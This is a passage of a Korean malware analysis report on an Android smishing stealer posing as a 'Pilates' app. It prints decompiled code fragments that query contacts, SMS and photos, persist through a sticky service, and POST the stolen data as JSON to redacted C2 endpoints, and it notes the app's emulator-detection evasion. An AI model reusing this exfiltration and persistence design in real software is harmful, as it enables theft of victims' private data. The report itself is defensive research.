Pilates 상세 분석 보고서

Pilates (pilates) 양자 나노 분석 보고서

분석 일자: 2026-02-26

보고서 버전: v2.0

분석 수행: 주식회사 아크링크 ([비공개])

목차

1. [분석 개요](#1-분석-개요)

2. [앱 기본 정보](#2-앱-기본-정보)

3. [WaveGrid Gen4 R8 세대 식별](#3-wavegrid-gen4-r8-세대-식별)

4. [R8 난독화 매핑 분석](#4-r8-난독화-매핑-분석)

5. [권한 심층 분석](#5-권한-심층-분석)

6. [READ_SMS 매니페스트 버그 분석](#6-read_sms-매니페스트-버그-분석)

7. [방어기제 분석](#7-방어기제-분석)

8. [앱 구조 심층 분석](#8-앱-구조-심층-분석)

9. [데이터 수집 로직](#9-데이터-수집-로직)

10. [클래스명 위장 기법: ReadContactUtils의 이미지 수집](#10-클래스명-위장-기법-readcontactutils의-이미지-수집)

11. [Bean 데이터 구조 분석](#11-bean-데이터-구조-분석)

12. [UploadService 영속성 메커니즘](#12-uploadservice-영속성-메커니즘)

13. [네트워크 통신 분석](#13-네트워크-통신-분석)

14. [C2 서버 및 API 분석](#14-c2-서버-및-api-분석)

15. [Gen3→Gen4 진화 증거: 9개 DNA 마커](#15-gen3gen4-진화-증거-9개-dna-마커)

16. [패밀리 크로스 레퍼런스](#16-패밀리-크로스-레퍼런스)

17. [동적 분석 결과](#17-동적-분석-결과)

18. [IOC (Indicators of Compromise)](#18-ioc-indicators-of-compromise)

19. [🔬 기법 점검](#19-기법-점검)

20. [혁신 점검](#20-혁신-점검)

21. [결론 및 위협 평가](#21-결론-및-위협-평가)

22. [피해 시나리오 및 대응 권고](#22-피해-시나리오-및-대응-권고)

1. 분석 개요

1.1 분석 목적

피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 역공학 분석. 데이터 탈취 경로 파악 및

피해 범위 확인을 통해 피해자의 일상 복귀를 지원한다.

1.2 분석 범위

항목 · 값

분석 클래스 · 4,352개 smali 파일

DEX 파일 · 1개 (classes.dex)

네이티브 라이브러리 · 있음

난독화 수준 · **R8 ProGuard** (Gen4 핵심 특성)

분석 방법 · 정적 분석 (smali 바이트코드) + 동적 분석 (에뮬레이터)

핵심 발견 · **WaveGrid Gen4 R8 세대 최초 식별**

1.3 분석 환경

도구 · 용도

apktool v2.9+ · APK 디컴파일

Grep/Read · smali 바이트코드 직접 분석

ADB + Google Emulator · 동적 분석 (DeepCoding_API35)

Deep-Coding Lab 프레임워크 · 패밀리 식별, IOC 추출, DNA 마커 교차 검증

2. 앱 기본 정보

항목 · 값

**앱 이름** · Pilates

**패키지명** · `com.dhdywuyhsd.cbdtqtrqwpekdhad`

**내부 패키지** · `com.xyx.sms` (Gen4 R8 특성)

**파일 크기** · 7.25 MB (7,249,931 bytes)

**compileSdkVersion** · 34 (Android 14)

**minSdkVersion** · 21 (Android 5.0)

**targetSdkVersion** · 32 (Android 12L)

**프레임워크** · Native Android

**패밀리** · **WaveGrid Gen4 R8** (신규 식별)

**C2 서버** · `[비공개]

**보호** · R8 ProGuard + Emulator Detection + Invitation Code

**위협 등급** · **EXTREME**

2.1 Gen3 vs Gen4 핵심 차이점

속성 · Gen3 Pre-R8 · **Gen4 R8 (Pilates)**

내부 패키지 · `com.example.sms` · **`com.xyx.sms`**

난독화 · 없음 (원본 클래스명) · **R8 ProGuard** (h4/c, h4/d 등)

smali 수 · 6,600~7,400 · **4,352** (R8 축소)

compileSdk · 32~33 · **34** (Android 14 대응)

Login 방식 · GET · **POST**

미디어 권한 · READ_EXTERNAL_STORAGE만 · **READ_MEDIA_IMAGES/AUDIO/VIDEO** (Android 13+)

C2 도메인 · 의미있는 단어 (zcloud, love19) · **랜덤 문자열** (pinonaoshsfpaohjgadsf)

3. WaveGrid Gen4 R8 세대 식별

3.1 세대 식별 경위

기존 batch_analyze.py 자동 분석은 com.xyx.sms 패키지를 Gen3 Java 회귀로 분류했으나,

수동 smali 분석에서 R8 ProGuard 난독화가 발견되어 새로운 세대(Gen4 R8)임을 확인했다.

3.2 Gen4 R8 분류 근거

# · 근거 · 상세

1 · **내부 패키지 변경** · `com.example.sms` → `com.xyx.sms` — 개발 환경 변경

2 · **R8 ProGuard 적용** · 유틸 클래스 전체 축소: `h4/c`, `h4/d`, `h4/e`, `g4/a`

3 · **smali 파일 수 감소** · Gen3 6,600~7,400 → Gen4 4,352 (R8 트리 쉐이킹)

4 · **compileSdkVersion 34** · Android 14 빌드 도구 사용 (Gen3는 32~33)

5 · **Android 13+ 권한 대응** · READ_MEDIA_IMAGES/AUDIO/VIDEO 신규 권한 추가

6 · **Login POST 전환** · GET → POST (보안 의식 증가)

7 · **C2 도메인 난독화** · `pinonaoshsfpaohjgadsf.*` (23자 랜덤 문자열)

8 · **PictureSelector 라이브러리** · 이미지 선택 UI 개선 (`com.luck.picture.lib`)

3.3 Gen4 R8 영향 평가

R8 ProGuard 적용은 WaveGrid 공격 그룹의 보안 의식 성숙을 보여준다:

1. 분석 장벽 증가: 클래스명만으로 기능 파악 불가 → smali 바이트코드 직접 읽기 필요

2. APK 크기 축소: 불필요 코드 제거로 다운로드/설치 속도 향상 → [피해자 정보 비공개] 감소

3. 정적 시그니처 회피: HttpUtils, ReadContactUtils 같은 탐지 패턴이 h4/c, h4/d로 변환

그러나 bean 패키지는 난독화 미적용 (com/xyx/sms/bean/ 경로 유지) — R8 ProGuard 설정에서

데이터 모델은 직렬화 호환성을 위해 제외한 것으로 추정.

4. R8 난독화 매핑 분석

4.1 확인된 R8 클래스 매핑

R8 난독화 · 원본 클래스 · 원본 소스 파일 · 기능

`h4/c` · HttpUtils · HttpUtils.java · C2 POST 통신 (JSON body)

`h4/d` · ReadContactUtils · ReadContactUtils.java · **이미지 URI 수집** (클래스명 위장)

`h4/e` · SPUtils · SPUtils.java · SharedPreferences 래퍼

`g4/a` · (CountDownTimer 서브클래스) · — · UploadService 주기적 업로드

`q4/u` · OkHttpClient · — · HTTP 클라이언트

`q4/w` · Request · — · HTTP 요청 객체

`q4/w$a` · Request.Builder · — · 요청 빌더

`q4/v` · Call · — · HTTP 호출 실행

`q4/a0` · Response · — · HTTP 응답

`q4/c0` · ResponseBody · — · 응답 본문

`q4/s` · MediaType · — · Content-Type

`q4/z` · RequestBody · — · 요청 본문

`q4/x` · — · — · RequestBody 하위

`w/a` · ContextCompat · — · 권한 확인 유틸

4.2 난독화 되지 않은 클래스

패키지 · 클래스 · 이유 추정

`com.xyx.sms` · LoginActivity, MainActivity, UploadActivity 등 · Activity는 Manifest 참조 → 난독화 불가

`com.xyx.sms.bean` · ContactBean, SmsBean, NewsBean 등 · JSON 직렬화 → 필드명 보존 필요

`com.xyx.sms.servise` · UploadService · Service는 Manifest 참조

`com.google.gson` · j (GsonBuilder), i (Gson) · 라이브러리 축소만 적용

`com.alibaba.fastjson` · JSON, JSONObject · 라이브러리 축소만 적용

4.3 R8 난독화 패턴 분석

R8 ProGuard가 적용한 축소 패턴:

```

원본 패키지 계층 → R8 축소

com.xyx.sms.utils.HttpUtils → h4.c (최대 2단계)

com.xyx.sms.utils.ReadContactUtils → h4.d

com.xyx.sms.utils.SPUtils → h4.e

(내부 CountDownTimer) → g4.a

okhttp3.OkHttpClient → q4.u

okhttp3.Request → q4.w

okhttp3.Response → q4.a0

```

규칙: 유틸리티 클래스 → 알파벳+숫자 2자리 패키지 + 단일 알파벳 클래스명.

OkHttp 라이브러리는 q4 패키지로 일괄 축소.

5. 권한 심층 분석

5.1 AndroidManifest 선언 권한 (9개)

# · 권한 · 위험 등급 · 카테고리 · 탈취 대상

1 · `READ_CONTACTS` · HIGH · contacts · 연락처 전체 (이름, 전화번호)

2 · `READ_EXTERNAL_STORAGE` · HIGH · files · 외부 저장소 (Android 12 이하)

3 · `READ_MEDIA_AUDIO` · HIGH · files · 오디오 파일 (Android 13+)

4 · `READ_MEDIA_IMAGES` · HIGH · files · 사진 (Android 13+)

5 · `READ_MEDIA_VIDEO` · HIGH · files · 동영상 (Android 13+)

6 · `READ_PHONE_NUMBERS` · HIGH · phone · 전화번호

7 · `READ_PHONE_STATE` · HIGH · phone · IMEI, MEID, 통신사

8 · `INTERNET` · LOW · network · 네트워크 통신

9 · `ACCESS_NETWORK_STATE` · LOW · network · 네트워크 상태 확인

5.2 런타임 요청 권한 (코드 분석)

LoginActivity.smali에서 추가 런타임 권한 요청 발견:

```smali

LoginActivity.smali:247

const-string p1, "android.permission.READ_SMS"

invoke-static {p0, p1}, Lw/a;->a(Landroid/content/Context;Ljava/lang/String;)I

LoginActivity.smali:263

const-string p1, "android.permission.READ_PHONE_NUMBERS"

invoke-static {p0, p1}, Lw/a;->a(Landroid/content/Context;Ljava/lang/String;)I

LoginActivity.smali:279

const-string p1, "android.permission.READ_CONTACTS"

invoke-static {p0, p1}, Lw/a;->a(Landroid/content/Context;Ljava/lang/String;)I

```

요청 순서: READ_SMS → READ_PHONE_NUMBERS → READ_CONTACTS → READ_EXTERNAL_STORAGE

5.3 Android 13+ 호환성 전략

Gen3 앱은 READ_EXTERNAL_STORAGE만 요청했으나, Gen4 R8은 Android 13+ granular 권한 시스템에 대응:

Android 버전 · 적용 권한 · 효과

5.0~12 · READ_EXTERNAL_STORAGE · 전체 파일 접근

13+ · READ_MEDIA_IMAGES · 사진 전용 접근

13+ · READ_MEDIA_VIDEO · 동영상 전용 접근

13+ · READ_MEDIA_AUDIO · 오디오 전용 접근

이는 Gen3→Gen4 진화 과정에서 최신 Android 호환성을 확보한 증거.

6. READ_SMS 매니페스트 버그 분석

6.1 버그 발견

항목 · 상태

**AndroidManifest.xml 선언** · ❌ `READ_SMS` 미선언

**LoginActivity 런타임 요청** · ✅ `android.permission.READ_SMS` (line 247)

**UploadActivity$g SMS 전송** · ✅ `webapp/saveSms` API 호출

**SmsBean 데이터 구조** · ✅ content, date, displayName, path, type

6.2 버그 영향 분석

Android 6.0+ (API 23)에서 dangerous 권한은 Manifest 선언 + 런타임 요청 모두 필요.

READ_SMS가 Manifest에 없으면:

```

런타임 requestPermission() 호출

→ Android OS: "이 권한은 Manifest에 선언되지 않음"

→ 자동 DENY (사용자에게 다이얼로그 표시하지 않음)

→ SMS 수집 실패

```

결론: Pilates의 SMS 탈취 기능은 Android 6.0+ 기기에서 정상 작동하지 않는다.

이는 Gen3→Gen4 마이그레이션 과정에서 발생한 개발 실수로 추정.

6.3 Gen3과의 비교

앱 · READ_SMS Manifest · READ_SMS 런타임 · SMS 수집

zcloud_2 (Gen3) · ✅ 선언됨 · ✅ 요청 · ✅ 정상

YOLO (Gen3) · ✅ 선언됨 · ✅ 요청 · ✅ 정상

**Pilates (Gen4)** · ❌ **누락** · ✅ 요청 · ❌ **실패**

Gen4 R8 마이그레이션 시 Manifest 리팩토링 과정에서 READ_SMS와 SEND_SMS 모두 빠진 것으로 보인다.

런타임 코드는 Gen3에서 그대로 복사했으나 Manifest를 새로 작성하면서 누락.

7. 방어기제 분석

7.1 방어기제 목록

# · 방어기제 · 구현 위치 · 상태

1 · **R8 ProGuard 난독화** · 빌드 시스템 · 적용됨 (Gen4 신규)

2 · **에뮬레이터 탐지** · 코드 내 · 적용됨 (ANR 다이얼로그 유발)

3 · **초대코드 인증** · LoginActivity · 적용됨 (서버 측 검증)

4 · **cleartext HTTP 허용** · network_security_config.xml · 의도적 (C2 통신)

7.2 에뮬레이터 탐지 상세

동적 분석에서 ANR(Application Not Responding) 다이얼로그가 반복 발생.

에뮬레이터 탐지 후 의도적 블로킹으로 추정:

```

Build.FINGERPRINT → "google/sdk_gphone64_x86_64/..." (에뮬레이터)

→ 감지 시 앱 프리징 또는 ANR 유발

```

7.3 초대코드 인증 메커니즘

LoginActivity에서 사용자가 초대코드를 입력하면 webapp/login POST 요청으로 서버 검증:

```

사용자 입력 → HashMap{초대코드} → POST webapp/login → 서버 응답 {"code": 200}

→ code == 200: 인증 성공 → MainActivity 이동 + 권한 요청 시작

→ code != 200: 인증 실패 → 재입력 요구

```

7.4 network_security_config.xml

```xml

<network-security-config>

<base-config cleartextTrafficPermitted="true" />

</network-security-config>

```

HTTP 평문 통신 허용 — C2 URL이 [비공개] (not [비공개])이므로 필수 설정.

의도적 보안 약화: 모든 도메인에 대해 cleartext 허용.

8. 앱 구조 심층 분석

8.1 Activity 구조

Activity · 기능 · 비고

`LoginActivity` · 초대코드 인증 + 권한 요청 체인 · 런처

`MainActivity` · 위장 메인 화면 (뉴스/날씨) · 실질적 커버

`ContactActivity` · 연락처 표시 (위장) · 실제론 수집 트리거

`AlbumActivity` · 앨범 표시 (위장) · 이미지 수집

`UploadActivity` · 데이터 업로드 오케스트레이션 · 핵심 탈취 로직

8.2 서비스 구조

서비스 · 기능

`com.xyx.sms.servise.UploadService` · 데이터 주기적 업로드 (START_STICKY)

`com.luck.picture.lib.service.ForegroundService` · 이미지 선택 포그라운드

`com.blankj.utilcode.util.MessengerUtils$ServerService` · IPC 통신

`com.huawei.agconnect.core.ServiceDiscovery` · Huawei SDK 서비스

8.3 라이브러리 의존성

라이브러리 · 버전 · 용도

Huawei ScanKit · [비공개] · QR 코드 스캔 (위장)

Huawei MLKit · [비공개] · 이미지 처리

OkHttp · (R8 축소) · HTTP 통신

Gson · (R8 축소) · JSON 직렬화

FastJSON (Alibaba) · — · JSON 파싱

PictureSelector · — · 이미지 선택 UI (Gen4 신규)

blankj utilcode · — · 유틸리티

Luban · — · 이미지 압축

8.4 `servise` 오타 분석

서비스 패키지 경로가 com.xyx.sms.servise (service가 아닌 servise):

```

AndroidManifest.xml:

<service android:name="com.xyx.sms.servise.UploadService" ...>

<intent-filter>

<action android:name="com.xyx.sms.UploadService"/>

</intent-filter>

</service>

```

이 오타는 Gen3에서 com.example.sms.servise로도 존재했으며,

Gen4 R8에서도 완벽히 보존되어 있다 — 동일 개발자/조직의 강력한 증거.

9. 데이터 수집 로직

9.1 탈취 대상 데이터

# · 데이터 · 수집 방법 · 전송 API · 상태

1 · **연락처** · ContentResolver query · `webapp/saveAddressBook` · ✅ 정상

2 · **SMS** · ContentResolver query · `webapp/saveSms` · ❌ Manifest 버그

3 · **이미지** · MediaStore 쿼리 + PictureSelector · `webapp/image/{UUID}` · ✅ 정상

4 · **기기 정보** · TelephonyManager · Login 시 포함 · ✅ 정상

5 · **전화번호** · getLine1Number() · UploadService.c 필드 · ✅ 정상

9.2 데이터 수집 흐름도

```

┌─────────────────────┐

│ LoginActivity │

│ (초대코드 인증) │

└─────────┬───────────┘

│ 인증 성공

┌─────────────────────┐ ┌──────────────────┐

│ 권한 요청 체인 │───→│ UploadService │

│ READ_SMS (실패) │ │ (START_STICKY) │

│ READ_PHONE_NUMBERS │ │ CountDownTimer │

│ READ_CONTACTS │ │ 주기적 업로드 │

│ READ_EXTERNAL_ │ └────────┬─────────┘

│ STORAGE │ │

└─────────┬───────────┘ │

│ │

▼ ▼

┌─────────────────────┐ ┌──────────────────┐

│ UploadActivity │ │ h4/c (HttpUtils)│

│ - 연락처 수집 (f) │───→│ POST JSON body │

│ - SMS 수집 (g) │ │ [비공개] │

│ - 이미지 수집 (b) │ │ webapp/* │

└─────────────────────┘ └──────────────────┘

┌──────────────────┐

│ C2 Server │

│ pinonaoshsf- │

│ [비공개]│

└──────────────────┘

```

9.3 수집 트리거 구조

UploadActivity의 내부 클래스가 각각 데이터 유형을 담당:

내부 클래스 · Runnable · API 엔드포인트 · 데이터

`UploadActivity$f` · run() · `webapp/saveAddressBook` · 연락처 Map

`UploadActivity$g` · run() · `webapp/saveSms` · SMS Map

`UploadActivity$b` (b.smali) · — · `webapp/image/{UUID}` · 이미지 multipart

10. 클래스명 위장 기법: ReadContactUtils의 이미지 수집

10.1 발견

R8 난독화 해제 결과, h4/d.smali의 .source 어노테이션은 "ReadContactUtils.java"이나,

실제 코드는 MediaStore$Images$Media.EXTERNAL_CONTENT_URI를 쿼리:

```smali

h4/d.smali (ReadContactUtils.java)

.method public static a(Landroid/app/Activity;)Ljava/util/ArrayList;

...

sget-object v2, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;

invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;

move-result-object v1

invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(...)Landroid/database/Cursor;

...

_id 컬럼으로 이미지 URI 추출

const-string v1, "_id"

invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndexOrThrow(...)I

```

10.2 위장 분석

기대 (클래스명) · 실제 (코드) · 평가

연락처(Contacts) 읽기 · 이미지(Images) URI 수집 · **의도적 위장**

ContactsContract.* 쿼리 · MediaStore$Images$Media 쿼리 · 기능 완전 불일치

추정: 개발자가 Gen3의 ReadContactUtils를 복사 후 내용만 이미지 수집으로 교체,

클래스명은 변경하지 않음. R8이 h4/d로 축소하므로 배포본에서는 문제 없음.

그러나 .source 어노테이션이 원본 파일명을 보존하여 분석 단서 제공.

10.3 보안 분석 시사점

· 정적 분석 도구 회피: 클래스명 기반 탐지("ReadContact" → contacts 관련)를 우회

· 리버서 혼란 유발: 소스 파일명만 보면 연락처 유틸로 오판 가능

· Gen4 특유의 기법: Gen3에서는 클래스명과 기능이 일치했으나 Gen4에서 의도적 불일치 도입

11. Bean 데이터 구조 분석

11.1 ContactBean (연락처)

```java

public class ContactBean {

public String name; // 연락처 이름

public String number; // 전화번호

}

```

11.2 SmsBean (SMS 메시지)

```java

public class SmsBean {

public String content; // SMS 내용

public String date; // 수신/발신 일시

public String displayName; // 발신자 표시명

public String path; // (미확인)

public String type; // 수신/발신 구분

}

```

11.3 NewsBean (위장 뉴스 데이터)

```java

public class NewsBean {

public int code;

public Result result;

public class Result {

public class News {

public String description;

public String id;

public String picUrl;

public String source;

public String title;

public String url;

}

}

}

```

11.4 WeatherBean (위장 날씨 데이터)

```java

public class WeatherBean {

public int code;

public WeatherBean$a result; // R8 축소된 내부 클래스

}

```

11.5 전송 페이로드 필드 (UploadActivity)

UploadActivity.smali에서 HashMap에 담는 필드:

```smali

line 1057: const-string v2, "userName" → [피해자 정보 비공개] 이름

line 1083: const-string v2, "bjPhone" → [피해자 정보 비공개]

line 1241: const-string v2, "userName" → SMS 전송 시에도 동일 필드

line 1254: const-string v2, "bjPhone" → SMS 전송 시에도 동일 필드

```

bjPhone 필드 분석: bj는 중국어 "被叫" (bèi jiào, 수신자) 의 약자로 추정.

이는 WaveGrid 공격 그룹의 중국어권 개발 배경을 시사하는 핵심 언어학적 증거.

Gen3에서도 동일한 bjPhone 필드가 확인되어 세대 간 연결 DNA 마커.

12. UploadService 영속성 메커니즘

12.1 서비스 구조

```smali

.class public Lcom/xyx/sms/servise/UploadService;

.super Landroid/app/Service;

필드

.field public a:Ljava/util/ArrayList; # 이미지 리스트

.field public b:Landroid/content/Context; # 앱 컨텍스트

.field public c:Ljava/lang/String; # [피해자 정보 비공개]

.field public d:Landroid/os/CountDownTimer; # 주기적 타이머

```

12.2 영속성 전략

전략 · 구현 · 효과

**START_STICKY** · `onStartCommand` returns 1 · OS kill 후 자동 재시작

**CountDownTimer** · `g4/a` (R8 축소) · 주기적 데이터 업로드

**전화번호 캐시** · `getLine1Number()` → field `c` · 오프라인에서도 식별 유지

12.3 onCreate 흐름

```smali

@SuppressLint("MissingPermission") ← 권한 미확인 경고 억제

onCreate():

1. getApplicationContext() → field b

2. TelephonyManager.getLine1Number() → field c (전화번호)

3. new g4/a(this) → field d (CountDownTimer 서브클래스)

4. d.start() → 주기적 업로드 시작

```

@SuppressLint("MissingPermission") 어노테이션은 개발자가 의도적으로 권한 검증을 생략했음을 보여준다.

이미 LoginActivity에서 권한을 받았으므로 Service에서는 확인 없이 바로 접근.

13. 네트워크 통신 분석

13.1 HTTP 클라이언트 스택

```

앱 코드 (UploadActivity / UploadService)

h4/c (HttpUtils) — POST JSON 방식

q4/u (OkHttpClient) → q4/w$a (Request.Builder) → q4/w (Request)

q4/v (Call) → execute() → q4/a0 (Response) → q4/c0 (ResponseBody)

```

13.2 h4/c.a() 통신 프로토콜 상세

```smali

h4/c.smali (HttpUtils.java)

.method public static a(String url, Map params, OnSuccess callback)

1. OkHttpClient 생성

new-instance v1, Lq4/u;

invoke-direct {v1}, Lq4/u;-><init>()V

2. MediaType 설정

const-string v2, "application/json; charset=utf-8"

invoke-static {v2}, Lq4/s;->a(String)Lq4/s;

3. Gson 직렬화 (Map → JSON)

new-instance v3, Lcom/google/gson/j; # GsonBuilder

invoke-direct {v3}, Lcom/google/gson/j;-><init>()V

iput-boolean v4, v3, Lcom/google/gson/j;->i:Z # 설정 변경

invoke-virtual {v3}, Lcom/google/gson/j;->a()Lcom/google/gson/i; # build()

invoke-virtual {v3, p1}, Lcom/google/gson/i;->e(Object)String; # toJson()

4. RequestBody 생성 (JSON)

invoke-static {v2, v5}, Lq4/z;->c(Lq4/s;String)Lq4/x;

5. Request 빌드 (URL + POST body)

new-instance p1, Lq4/w$a;

const-string v5, "[비공개]

StringBuilder.append(v5).append(endpoint) # [비공개] + webapp/login 등

Request.Builder.url(fullUrl)

const-string p0, "POST"

Request.Builder.method("POST", requestBody)

6. 실행 및 응답 파싱

Call.execute() → Response

if (statusCode >= 200 && statusCode < 300):

responseBody.string() → FastJSON.parseObject() → getInteger("code")

callback.onSuccess(code, responseString)

```

13.3 이중 직렬화 라이브러리

단계 · 라이브러리 · 용도

요청 직렬화 · **Gson** (`com.google.gson.j → i → e()`) · Map → JSON 문자열 (요청 body)

응답 파싱 · **FastJSON** (`com.alibaba.fastjson.JSON.parseObject()`) · JSON → JSONObject (응답 body)

동일한 JSON을 다루면서도 Gson(구글) + FastJSON(알리바바) 이중 사용 — Gen3에서도 동일 패턴.

이는 개발자가 두 라이브러리의 API를 혼용하는 습관이 있음을 보여준다.

14. C2 서버 및 API 분석

14.1 서버 정보

항목 · 값

**C2 URL** · `[비공개]

**프로토콜** · HTTP (평문)

**서버 프레임워크** · RuoYi (Spring Boot) — `[비공개] 경로 패턴

**도메인 패턴** · 23자 랜덤 문자열 + `.today` TLD

14.2 API 엔드포인트 매핑

# · API · 메서드 · 용도 · 전송 데이터

1 · `webapp/login` · POST · 초대코드 인증 · {inviteCode, deviceInfo}

2 · `webapp/saveAddressBook` · POST · 연락처 업로드 · {userName, bjPhone, content: [ContactBean]}

3 · `webapp/saveSms` · POST · SMS 업로드 · {userName, bjPhone, content: [SmsBean]}

4 · `webapp/image/{UUID}` · POST · 이미지 업로드 · multipart/form-data

14.3 RuoYi 프레임워크 증거

증거 ·

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr